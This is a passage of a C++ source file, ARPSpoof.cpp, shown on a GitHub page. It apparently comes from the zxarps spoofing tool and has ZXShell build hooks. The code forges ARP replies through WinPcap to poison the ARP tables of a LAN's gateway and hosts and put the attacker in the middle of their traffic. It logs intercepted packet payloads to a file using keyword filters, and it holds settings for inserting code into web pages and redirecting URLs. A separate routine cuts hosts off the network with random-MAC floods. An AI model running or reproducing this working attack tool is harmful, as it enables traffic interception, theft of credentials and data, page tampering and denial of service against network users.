-
Notifications
You must be signed in to change notification settings - Fork 22
/
Copy pathARPSpoof.cpp
2409 lines (2050 loc) · 53.9 KB
/
ARPSpoof.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
//////////////////////////////////////////////////////////////////////
// CARPSpoof Class
//////////////////////////////////////////////////////////////////////
#include "ARPSpoof.h"
//#include "..\..\zxsCommon\zxsWinAPI.h"
//#include "..\..\zxsCommon\debugoutput.h"
//#include "..\..\zxsCommon\CommandLineToArgvA.h"
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
namespace PCAPAPI
{
bool Inited = false;
_ZXpcap_perror *pcap_perror;
_ZXpcap_sendpacket *pcap_sendpacket;
_ZXpcap_next_ex *pcap_next_ex;
_ZXpcap_freealldevs *pcap_freealldevs;
_ZXpcap_close *pcap_close;
_ZXpcap_breakloop *pcap_breakloop;
_ZXpcap_open_live *pcap_open_live;
_ZXpcap_findalldevs *pcap_findalldevs;
_ZXpcap_dispatch *pcap_dispatch;
_ZXpcap_loop *pcap_loop;
#define _GetWinPcapAddr(a,b,c) \
if(GetProcAddress(b, c) == NULL) {\
printf("initializtion pcap api error: \"%\"s\r\n", c); return FALSE;\
}else{\
__asm mov a, eax\
}
BOOL Init_pcapAPI()
{
HINSTANCE hDll;
if(!(hDll = ::LoadLibrary("wpcap.dll")))
return FALSE;
_GetWinPcapAddr(pcap_perror, hDll, "pcap_perror")
_GetWinPcapAddr(pcap_sendpacket, hDll, "pcap_sendpacket")
_GetWinPcapAddr(pcap_next_ex, hDll, "pcap_next_ex")
_GetWinPcapAddr(pcap_freealldevs, hDll, "pcap_freealldevs")
_GetWinPcapAddr(pcap_close, hDll, "pcap_close")
_GetWinPcapAddr(pcap_breakloop, hDll, "pcap_breakloop")
_GetWinPcapAddr(pcap_open_live, hDll, "pcap_open_live")
_GetWinPcapAddr(pcap_findalldevs, hDll, "pcap_findalldevs")
_GetWinPcapAddr(pcap_dispatch, hDll, "pcap_dispatch")
_GetWinPcapAddr(pcap_loop, hDll, "pcap_loop")
Inited = true;
return TRUE;
}
}
#if !defined _ZXSHELL
////////////////////////////////////
/*
将Source字符串按照指定char分段写如到Dest缓冲区中。
返回值为Source中的下一个段的起点指针
如:
Source = "1234 , 321, 43,333"
Dest将得到 "1234"
返回指针指向" 321, 43,333"
*/
const char *TakeOutStringByChar(IN const char *Source, OUT char *Dest, int buflen, char ch, bool space)
{
if(Source == NULL)
return NULL;
const char *p = strchr(Source, ch);
if(space == false)
{
while(*Source == ' ')
Source++;
}
int i ;
for( i=0; i<buflen && *(Source+i) && *(Source+i) != ch; i++)
{
Dest[i] = *(Source+i);
}
if(i == 0)
return NULL;
else
Dest[i] = '\0';
const char *lpret = p ? p+1 : Source+i;
if(space == false)
{
while(Dest[i-1] == ' ' && i>0)
Dest[i---1] = '\0';
}
return lpret;
}
char *DNS(char *HostName)
{
HOSTENT *hostent = NULL;
IN_ADDR iaddr;
hostent = gethostbyname(HostName);
if (hostent == NULL)
{
return NULL;
}
iaddr = *((LPIN_ADDR)*hostent->h_addr_list);
return inet_ntoa(iaddr);
}
BOOL GetdwIP(char *startip, char *endip, DWORD *IP_start, DWORD *IP_end)
{
DWORD dwIP;
dwIP = inet_addr(startip);
if(dwIP == INADDR_NONE)
return FALSE;
*IP_start = ntohl(dwIP);
dwIP = inet_addr(endip);
if(dwIP == INADDR_NONE)
return FALSE;
*IP_end = ntohl(dwIP);
if(*IP_start <= *IP_end)
return TRUE;
else
return FALSE;
}
#endif
//计算效验和函数,先把IP首部的效验和字段设为0(IP_HEADER.checksum=0)
//然后计算整个IP首部的二进制反码的和。
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while (size >1) {
cksum+=*buffer++;
size-=sizeof(USHORT);
}
if (size) cksum += *(UCHAR*) buffer;
cksum = (cksum >> 16) + (cksum&0xffff);
cksum += (cksum >> 16);
return (USHORT) (~cksum);
}
unsigned long cksum1(unsigned long cksum, USHORT *buffer, int size)
{
while (size >1) {
cksum+=*buffer++;
size-=sizeof(USHORT);
}
if (size) cksum += *(UCHAR*) buffer;
return (cksum);
}
USHORT cksum2(unsigned long cksum)
{
cksum = (cksum >> 16) + (cksum&0xffff);
cksum += (cksum >> 16);
return (USHORT) (~cksum);
}
//
// 计算tcp udp检验和的函数
//
void _Checksum(IPHeader *pIphdr)
{
PSD psd;
unsigned long _sum = 0;
IPHeader *ih;
TCPHeader *th;
UDPHEADER *uh;
u_int ip_len=0, pro_len=0, data_len=0;
unsigned char *data_offset;
// 找到IP头的位置和得到IP头的长度
ih = pIphdr;
ip_len = (ih->iphVerLen & 0xf) * sizeof(unsigned long);
if(ih->ipProtocol == PROTO_TCP)
{
// 找到TCP的位置
th = (TCPHeader *) ((u_char*)ih + ip_len);
pro_len = ((th->dataoffset>>4)*sizeof(unsigned long));
th->checksum = 0;
}
else if(ih->ipProtocol == PROTO_UDP)
{
// 找到UDP的位置
uh = (UDPHEADER *) ((u_char*)ih + ip_len);
pro_len = sizeof(UDPHEADER);
uh->uh_sum = 0;
}
// 数据长度
data_len = ntohs(ih->ipLength) - (ip_len + pro_len);
// 数据偏移指针
data_offset = (unsigned char *)ih + ip_len + pro_len;
// 伪头
// 包含源IP地址和目的IP地址
psd.saddr = ih->ipSource;
psd.daddr = ih->ipDestination;
// 包含8位0域
psd.mbz = 0;
// 协议
psd.ptcl = ih->ipProtocol;
// 长度
psd.udpl = htons(pro_len + data_len);
// 补齐到下一个16位边界
for(int i=0; i < data_len % 2; i++)
{
data_offset[data_len] = 0;
data_len++;
}
ih->ipChecksum = 0;
ih->ipChecksum = checksum((USHORT*)ih, ip_len);
_sum = cksum1(0, (USHORT*)&psd, sizeof(PSD));
_sum = cksum1(_sum, (USHORT*)((u_char*)ih + ip_len), pro_len);
_sum = cksum1(_sum, (USHORT*)data_offset, data_len);
_sum = cksum2(_sum);
// 计算这个校验和,将结果填充到协议头
if(ih->ipProtocol == PROTO_TCP)
th->checksum = _sum;
else if(ih->ipProtocol == PROTO_UDP)
uh->uh_sum = _sum;
else
return;
}
CARPSpoof::CARPSpoof()
{
init();
WSAData wsa;
WSAStartup(MAKEWORD(2, 2), &wsa);
}
CARPSpoof::~CARPSpoof()
{
WSACleanup();
}
void CARPSpoof::init()
{
runFlag = 0;
exitFlag = 0;
m_spoofdelay_ms = 30000;
m_adhandle = NULL;
hSpoofThread = NULL;
m_spoofMode = SPOOF_A | SPOOF_B; //默认双向欺骗
ThreadFlag = false;
bGetNetbiosName = false;
b_SaveToFile = false;
savemode = false;
bHackHtml = false;
bHackURL = false;
m_fp = NULL;
packetcount = 0;
m_bandwidth = m_TotalData = 0;
sc.Init();
printfFlag = 0;
m_rescan_Interval = 30000;
m_restore_Interval = 0;
m_cut_Interval = 0;
m_cut_Mode = 0;
memset(&m_Gateway, 0, sizeof(_HOSTINFO));
memset(&m_Me, 0, sizeof(_HOSTINFO));
memset(m_InsertCode, 0, 1024);
memset(m_NewURL, 0, MAX_PATH);
memset(m_NewFile, 0, MAX_PATH);
}
void CARPSpoof::destroy()
{
if(m_fp)
{
fclose(m_fp);
m_fp = NULL;
}
ClearFilter();
}
void CARPSpoof::ClearFilter()
{
for(list<_LOGFILTER*>::iterator it = m_logfilter_List.begin(); it != m_logfilter_List.end(); it++)
{
_LOGFILTER *plf = *it;
while(plf)
{
free(plf->keyword);
plf = plf->next;
}
delete plf;
}
m_logfilter_List.clear();
}
int CARPSpoof::zxarps_printf(const char *fmt, ...)
{
va_list args;
int n;
char TempBuf[8192];
va_start(args, fmt);
n = vsprintf(TempBuf, fmt, args);
va_end(args);
#if defined _ZXSHELL
return SendMessage(this->Socket, TempBuf);
#else
return printf(TempBuf);
#endif
}
void CARPSpoof::SetInterval(int ms)
{
m_spoofdelay_ms = ms;
}
bool CARPSpoof::SetLogFileName(char *FileName)
{
if(m_fp)
{
//可能已经打开一个文件了,关闭,重新打开指定的
fclose(m_fp);
}
strcpy(m_SaveToFile, FileName);
m_fp = fopen(m_SaveToFile, "a+");
if(m_fp == NULL)
return false;
else
return true;
}
BOOL CARPSpoof::LogFilter(char *tcp_data, unsigned int tcp_len)
{
int ret = FALSE;
int _f = FALSE;
for(list<_LOGFILTER*>::iterator it = m_logfilter_List.begin(); it != m_logfilter_List.end(); it++)
{
_LOGFILTER *plf = *it;
ret = FALSE;
_f = FALSE;
while(plf)
{
if(plf->flag == 1)//没有指定的关键字不纪录
{
if(!strstr(tcp_data, plf->keyword))
{
_f = TRUE;
ret = FALSE;
break;
}
}
if(plf->flag == -1)//一当出现指定的关键字不纪录
{
if(strstr(tcp_data, plf->keyword))
{
_f = TRUE;
ret = FALSE;
break;
}
}
if(plf->flag == 0)//普通关键字,只要一条关键字存在且上面两条成立则纪录
{
_f = TRUE;
if(ret == FALSE)
if(strstr(tcp_data, plf->keyword))
ret = TRUE;
}
plf = plf->next;
}
if(_f ? ret : TRUE) return TRUE;
}
//如果没设置filter则返回true
return m_logfilter_List.size() == 0 ? TRUE : FALSE;
}
void CARPSpoof::SetFilter(char *str)
{
const char *pNextRule = str, *pNextKeyword;
_LOGFILTER *plf = NULL;
char rule[MAX_PATH]="\0", keyword[MAX_PATH]="\0";
int flag;
ClearFilter();
while(pNextRule = TakeOutStringByChar(pNextRule, rule, sizeof(rule), '|', true))
{
pNextKeyword = rule;
plf = NULL;
while(pNextKeyword = TakeOutStringByChar(pNextKeyword, keyword, sizeof(keyword), ',', true))
{
//前缀+-_指定关键字的条件
if(keyword[0] == '+')//+表示存在关键字才纪录
flag = 1;
else if(keyword[0] == '-')//前缀-表示存在关键字不纪录
flag = -1;
else if(keyword[0] == '_')//普通关键字
flag = 0;
else
continue;
if(plf == NULL)
{
plf = new _LOGFILTER;
m_logfilter_List.push_back(plf);//每条规则的链表头添加到 另一个链表
}
else
{
plf->next = new _LOGFILTER;
plf = plf->next;
}
memset(plf, 0, sizeof(_LOGFILTER));
plf->flag = flag;
plf->keyword = _strdup(keyword+1);
}
}
}
BOOL CARPSpoof::LogData(TCPHeader *th, IPHeader *ih, BYTE *pszData, int bytes)
{
SYSTEMTIME st;
FILE *stream = NULL;
int i, j;
BYTE *pszAscii = NULL;
char *pszHex = NULL;
BOOL bRet = FALSE;
char tcp_data[1024*8];
char buff[1024*8 + 4];
GetLocalTime(&st);
__try
{
if( (!bytes) || (!pszData) )
__leave;
memcpy(tcp_data, pszData, bytes);
tcp_data[bytes] = '\0';
//
if(! LogFilter(tcp_data, bytes))
__leave;
//转换为可见字符
for(i=0;i<bytes;i++)
{
if( ((BYTE)tcp_data[i] < (BYTE)'\x20') ||
((BYTE)tcp_data[i] > (BYTE)'\x7E') )
tcp_data[i] = (BYTE)'.';
}
//转换为16进制
for(i=0,j=0;i<bytes;i++)
{
j += sprintf(&buff[j], " %.2X", (BYTE)tcp_data[i]);
}
fprintf(m_fp, "\r\n#%s %.2d-%.2d-%.2d %.2d:%.2d:%.2d\r\n",
ih->ipProtocol == PROTO_UDP ? "UDP" : (ih->ipProtocol == PROTO_TCP ? "TCP" : "other"),
st.wYear, st.wMonth, st.wDay,
st.wHour, st.wMinute, st.wSecond
);
fprintf(m_fp, "%d.%d.%d.%d:%d -> ",
ih->ipSourceByte.byte1, ih->ipSourceByte.byte2,
ih->ipSourceByte.byte3, ih->ipSourceByte.byte4,
ntohs(th->sourcePort)
);
fprintf(m_fp, "%d.%d.%d.%d:%d\r\n",
ih->ipDestinationByte.byte1, ih->ipDestinationByte.byte2,
ih->ipDestinationByte.byte3, ih->ipDestinationByte.byte4,
ntohs(th->destinationPort)
);
//记录到文件
if(savemode)
{
for(i=0,j=0;i<bytes;i+=0x10,j+=0x30)
{
fprintf(m_fp, "%-48.48s %-16.16s\r\n",
&buff[j], &tcp_data[i]);
}
}else
{
for(i=0;i<bytes;i++)
{
fprintf(m_fp, "%c", pszData[i]);
}
fprintf(m_fp, "\r\n");
}
fflush(m_fp);
printf("第 %d 个数据包写入到文件\r", ++packetcount);
}//end of try
__finally
{
return TRUE;
}
return TRUE;
}
void CARPSpoof::DoSpeedsCtrl(int len)
{
if(m_bandwidth == 0)
return;
m_TotalData += len;
sc.LimitSpeed(m_TotalData, len, m_bandwidth);
return;
}
void CARPSpoof::SetSpoofMode(DWORD mode)
{
m_spoofMode = 0;
switch(mode)
{
case 1:
m_spoofMode = SPOOF_A;
break;
case 2:
m_spoofMode = SPOOF_B;
break;
case 3:
m_spoofMode = SPOOF_A|SPOOF_B;
break;
}
}
void CARPSpoof::SetSpoolURL(char *szURL)
{
strcpy(m_NewURL, szURL);
}
void CARPSpoof::SetPostfixURLFileName(char *szName)
{
strcpy(m_NewFile, szName);
}
void CARPSpoof::EnableGetNetbiosName()
{
bGetNetbiosName = true;
}
void CARPSpoof::KillSpoofThread()
{
if(ThreadFlag == false)
return;
ThreadFlag = false;
WaitForSingleObject(hSpoofThread, -1);
CloseHandle(hSpoofThread);
}
int CARPSpoof::AddRule_PostFix(char *strPostfix)
{
const char *pNextName = strPostfix;
_POSTFIX pf;
m_postfixname_List.clear();
while(pNextName = TakeOutStringByChar(pNextName, pf.name, 15, ',', false))
{
m_postfixname_List.push_back(pf);
}
return m_postfixname_List.size();
}
bool CARPSpoof::IsPostfixInList(char *pf)
{
for(list<_POSTFIX>::iterator it = m_postfixname_List.begin(); it != m_postfixname_List.end(); it++)
{
if(!_strnicmp(pf, it->name, strlen(it->name)))
return true;
}
return false;
}
int CARPSpoof::AddRuleToCut(char *strMAC)
{
const char *pNextRule = strMAC;
char mac[20] = {0xff};
m_cutmac_List.clear();
while(pNextRule = TakeOutStringByChar(pNextRule, mac, 18, ',', false))
{
m_cutmac_List.push_back(_strdup(mac));//free()??not implemented
}
return m_cutmac_List.size();
}
bool CARPSpoof::IsBlackMAC(BYTE *pmac)
{
char mac[20];
int len;
//没指定黑名单mac则全部当做黑名单
if(m_cutmac_List.size() == 0)
return true;
for(list<char*>::iterator it = m_cutmac_List.begin(); it != m_cutmac_List.end(); it++)
{
len = _snprintf(mac, 18, "%.2x-%.2x-%.2x-%.2x-%.2x-%.2x", pmac[0],pmac[1],pmac[2],pmac[3],pmac[4],pmac[5]);
if(!_strnicmp(mac, *it, len))
return true;
}
return false;
}
void CARPSpoof::LANCutter()
{
u_char ucFrame_toGateway[ARP_LEN];
u_char ucFrame_toTarget[ARP_LEN];
//Ethernet头
ETHeader eh = { 0 };
eh.type = htons(ETHERTYPE_ARP);
//Arp头
ARPHeader ah = { 0 };
ah.hrd = htons(ARPHRD_ETHER);
ah.eth_type = htons(ETHERTYPE_IP);
ah.maclen = 6;
ah.iplen = 4;
ah.opcode = htons(ARP_REPLY);
// Loop send RARP Packet
list<_HOSTINFO>::iterator it;
BYTE bmac[6];
while(1)
{
srand( (unsigned)time( NULL ) );
if(GetSpoofMode() & SPOOF_A)
{
for(it = m_host_List.begin(); it != m_host_List.end(); it++)
{
if(it->bLiving == false)
continue;
if(IsBlackMAC(it->s_mac.mac) == false)
continue;
//Ethernet头
memcpy(eh.dhost, m_Gateway.s_mac.mac, 6);//发到网关
//memcpy(eh.shost, m_Me.s_mac.mac, 6);//发送者是本机
if(m_cut_Mode == 0)
{
eh.shost[0] = rand()%0xff;
eh.shost[1] = rand()%0xff;
eh.shost[2] = rand()%0xff;
eh.shost[3] = rand()%0xff;
eh.shost[4] = rand()%0xff;
eh.shost[5] = rand()%0xff;
}else// if(m_cut_Mode == 1)
{
memcpy(eh.shost, m_Gateway.s_mac.mac, 6);
}
ah.saddr = it->dwIP; //用户IP,即要欺骗的ip
//随机生成无效mac
ah.smac[0] = rand()%0xff;
ah.smac[1] = rand()%0xff;
ah.smac[2] = rand()%0xff;
ah.smac[3] = rand()%0xff;
ah.smac[4] = rand()%0xff;
ah.smac[5] = rand()%0xff;
ah.daddr = m_Gateway.dwIP; //目的是网关
memcpy(ah.dmac, m_Gateway.s_mac.mac, 6);
//构建包
memcpy(ucFrame_toGateway, &eh, sizeof(eh));
memcpy(ucFrame_toGateway+sizeof(ETHeader), &ah, sizeof(ah));
if(PCAPAPI::pcap_sendpacket(m_adhandle, (const unsigned char *) ucFrame_toGateway, ARP_LEN) < 0)
it->bLiving = false;
}
}
if(GetSpoofMode() & SPOOF_B)
{
for(it = m_host_List.begin(); it != m_host_List.end(); it++)
{
if(it->bLiving == false)
continue;
if(IsBlackMAC(it->s_mac.mac) == false)
continue;
//Ethernet头
memcpy(eh.dhost, it->s_mac.mac, 6);//发到目标机
//memcpy(eh.shost, m_Me.s_mac.mac, 6);//发送者是本机
if(m_cut_Mode == 0)
{
eh.shost[0] = rand()%0xff;
eh.shost[1] = rand()%0xff;
eh.shost[2] = rand()%0xff;
eh.shost[3] = rand()%0xff;
eh.shost[4] = rand()%0xff;
eh.shost[5] = rand()%0xff;
}else// if(m_cut_Mode == 1)
{
memcpy(eh.shost, m_Gateway.s_mac.mac, 6);
}
//Arp头
ah.saddr = m_Gateway.dwIP; //网关的IP
//随机生成无效mac
ah.smac[0] = rand()%0xff;
ah.smac[1] = rand()%0xff;
ah.smac[2] = rand()%0xff;
ah.smac[3] = rand()%0xff;
ah.smac[4] = rand()%0xff;
ah.smac[5] = rand()%0xff;
ah.daddr = it->dwIP;
memcpy(ah.dmac, it->s_mac.mac, 6);
//构建包
memcpy(ucFrame_toTarget, &eh, sizeof(eh));
memcpy(ucFrame_toTarget+sizeof(ETHeader), &ah, sizeof(ah));
if(PCAPAPI::pcap_sendpacket(m_adhandle, (const unsigned char *) ucFrame_toTarget, ARP_LEN) < 0)
it->bLiving = false;
}
}
if(m_cut_Interval == 0)
break;
else
Sleep(m_cut_Interval);
}
}
void CARPSpoof::RestoreARPTable()
{
u_char ucFrame_toGateway[ARP_LEN];
u_char ucFrame_toTarget[ARP_LEN];
//Ethernet头
ETHeader eh = { 0 };
eh.type = htons(ETHERTYPE_ARP);
//Arp头
ARPHeader ah = { 0 };
ah.hrd = htons(ARPHRD_ETHER);
ah.eth_type = htons(ETHERTYPE_IP);
ah.maclen = 6;
ah.iplen = 4;
ah.opcode = htons(ARP_REPLY);
// Loop send RARP Packet
list<_HOSTINFO>::iterator it;
while(1)
{
srand( (unsigned)time( NULL ) );
if(GetSpoofMode() & SPOOF_A)
{
//修改于2007.06.28
//for(it = m_host_List.begin(); it != m_host_List.end(); )
for(it = m_host_List.begin(); it != m_host_List.end(); it++)
{
if(it->bLiving == false)
continue;
//Ethernet头
memcpy(eh.dhost, m_Gateway.s_mac.mac, 6);//发到网关
//memcpy(eh.shost, m_Me.s_mac.mac, 6);//发送者是本机
memcpy(eh.shost, it->s_mac.mac, 6);//发送者
memcpy(ah.smac, it->s_mac.mac, 6); //mac是待恢复的目标机
ah.saddr = it->dwIP; //mac对应的ip
memcpy(ah.dmac, m_Gateway.s_mac.mac, 6);
ah.daddr = m_Gateway.dwIP; //目的mac是网关
//构建包
memcpy(ucFrame_toGateway, &eh, sizeof(eh));
memcpy(ucFrame_toGateway+sizeof(ETHeader), &ah, sizeof(ah));
/*
if(PCAPAPI::pcap_sendpacket(m_adhandle, (const unsigned char *) ucFrame_toGateway, ARP_LEN) < 0)
m_host_List.erase(it++);
else
{
//StaticARP(it->szIP, it->s_mac.mac);
it++;
}
*/
if(PCAPAPI::pcap_sendpacket(m_adhandle, (const unsigned char *) ucFrame_toGateway, ARP_LEN) < 0)
it->bLiving = false;
}
}
if(GetSpoofMode() & SPOOF_B)
{
//for(it = m_host_List.begin(); it != m_host_List.end();)
for(it = m_host_List.begin(); it != m_host_List.end(); it++)
{
if(it->bLiving == false)
continue;
//Ethernet头
memcpy(eh.dhost, it->s_mac.mac, 6);//发到目标机
//memcpy(eh.shost, m_Me.s_mac.mac, 6);//发送者是本机
memcpy(eh.shost, m_Gateway.s_mac.mac, 6);//发送者
//Arp头
memcpy(ah.smac, m_Gateway.s_mac.mac, 6); //mac是网关
ah.saddr = m_Gateway.dwIP; //网关的mac
memcpy(ah.dmac, it->s_mac.mac, 6);
ah.daddr = it->dwIP;
//构建包
memcpy(ucFrame_toTarget, &eh, sizeof(eh));
memcpy(ucFrame_toTarget+sizeof(ETHeader), &ah, sizeof(ah));
/*
if(PCAPAPI::pcap_sendpacket(m_adhandle, (const unsigned char *) ucFrame_toTarget, ARP_LEN) < 0)
m_host_List.erase(it++);
else
{
it++;
}
*/
if(PCAPAPI::pcap_sendpacket(m_adhandle, (const unsigned char *) ucFrame_toTarget, ARP_LEN) < 0)
it->bLiving = false;
}
}
if(m_restore_Interval == 0)
break;
else
Sleep(m_restore_Interval);
}
}
BYTE *CARPSpoof::dwIP2MAC(DWORD dwIP)
{
if(dwIP != 0)
{
for(list<_HOSTINFO>::iterator it = m_host_List.begin(); it != m_host_List.end();it++)
{
if(it->dwIP == dwIP)
return it->s_mac.mac;
}
}
return NULL;
}
DWORD WINAPI CARPSpoof::RescanThread(LPVOID lParam)
{
CARPSpoof *lpObj = (CARPSpoof *)lParam;
DWORD rescanTimer = GetTickCount();
while(lpObj->exitFlag == FALSE)
{
//重新扫描在线主机
if(GetTickCount() - rescanTimer > lpObj->m_rescan_Interval)
{
rescanTimer = GetTickCount();
lpObj->GetHostInfo();
if(lpObj->printfFlag)
lpObj->GetAliveHostList();
}else
{
Sleep(5);
}
}
return 0;
}
BOOL CARPSpoof::StartupRescanThread()
{
DWORD dwTid;
HANDLE hThread;
hThread = CreateThread(0, 0, RescanThread, this, 0, &dwTid);
if(hThread == NULL)
return FALSE;
CloseHandle(hThread);
return TRUE;
}
DWORD WINAPI CARPSpoof::DoSpoof(LPVOID lParam)
{
CARPSpoof *lpObj = (CARPSpoof *)lParam;
lpObj->ThreadFlag = true;
lpObj->runFlag = 1;
u_char ucFrame_toGateway[ARP_LEN];
u_char ucFrame_toTarget[ARP_LEN];
//Ethernet头
ETHeader eh = { 0 };
eh.type = htons(ETHERTYPE_ARP);
//Arp头
ARPHeader ah = { 0 };
ah.hrd = htons(ARPHRD_ETHER);
ah.eth_type = htons(ETHERTYPE_IP);
ah.maclen = 6;
ah.iplen = 4;
ah.opcode = htons(ARP_REPLY);
if(lpObj->m_spoofdelay_ms == 0)
lpObj->m_spoofdelay_ms = 30000;
DWORD time = GetTickCount();
// Loop send RARP Packet
while(lpObj->m_host_List.size()>0)
{
list<_HOSTINFO>::iterator it;
if(lpObj->GetSpoofMode() & SPOOF_A)
{
//欺骗网关把到目标host的数据发到本机来
//for(it = lpObj->m_host_List.begin(); it != lpObj->m_host_List.end()&&lpObj->ThreadFlag; )
for(it = lpObj->m_host_List.begin(); it != lpObj->m_host_List.end()&&lpObj->ThreadFlag; it++)//修改于2007.06.28
{
if(it->bLiving == false)
continue;
//Ethernet头
memcpy(eh.dhost, lpObj->m_Gateway.s_mac.mac, 6);//发到网关
memcpy(eh.shost, lpObj->m_Me.s_mac.mac, 6);//发送者是本机
//Arp头
memcpy(ah.smac, lpObj->m_Me.s_mac.mac, 6); //mac是本机的mac,欺骗的
ah.saddr = it->dwIP; //要欺骗的ip是目标